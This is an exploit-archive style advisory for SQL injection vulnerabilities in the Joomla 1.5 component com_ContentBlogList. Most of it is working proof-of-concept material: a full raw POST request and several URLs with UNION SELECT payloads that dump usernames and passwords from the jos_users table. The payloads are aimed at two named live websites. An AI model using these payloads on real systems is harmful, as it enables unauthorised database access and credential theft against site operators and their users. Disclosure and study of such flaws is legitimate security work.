[~]>> ...[BEGIN ADVISORY]...

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[~]>> TITLE: Joomla (com_ContentBlogList) SQL Injection Vulnerabilities 
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: Demo Site and Official Site

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[~]>> DESCRIPTION: Multiple input vars are vulnerable to SQL code injection.
[~]>> AFFECTED VERSIONS: Confirmed in 1.5 but probably other versions also. 
[~]>> RISK: High/Medium
[~]>> IMPACT: Execute Arbitrary SQL queries

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[~]>> PROOF OF CONCEPT (DEMO SITE):

------------------------[BEGIN-SNIP{searchword var}]---------------------------------

POST http://www.kiddoagency.com/index.php/search.html HTTP/1.1
Host: www.kiddoagency.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Referer: http://www.kiddoagency.com/index.php/search.html
Content-Type: application/x-www-form-urlencoded
Content-length: 276

searchword=Small%25%22%29%29+AND+0+UNION+ALL+SELECT+1,username,3,4,password,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,
25,26,27,28,29,30+FROM+jos_users%23&Search=Ir&task=listsearch&searchphrase=all&ordering=newest&
areas%5B%5D=content&Itemid=1&sectionid=0&limitstart=

------------------------[END-SNIP{searchword var}]-----------------------------------

[~]>> PROOF OF CONCEPT (OFFICIAL SITE):

[~]>> AFFECTED VAR: id, section_id and more.
 
[~]>> http://www.percha.com/index.php?option=com_contentbloglist&task=listmonth&year=2010&month=1&section_id=[SQL]&Itemid=1
[~]>> http://www.percha.com/index.php?option=com_contentbloglist&task=listmonth&year=2010&month=1&section_id=999999+UNION+ALL+SELECT+1,username,3,4,password,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+jos_users&Itemid=1

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[~]>> ...[END ADVISORY]...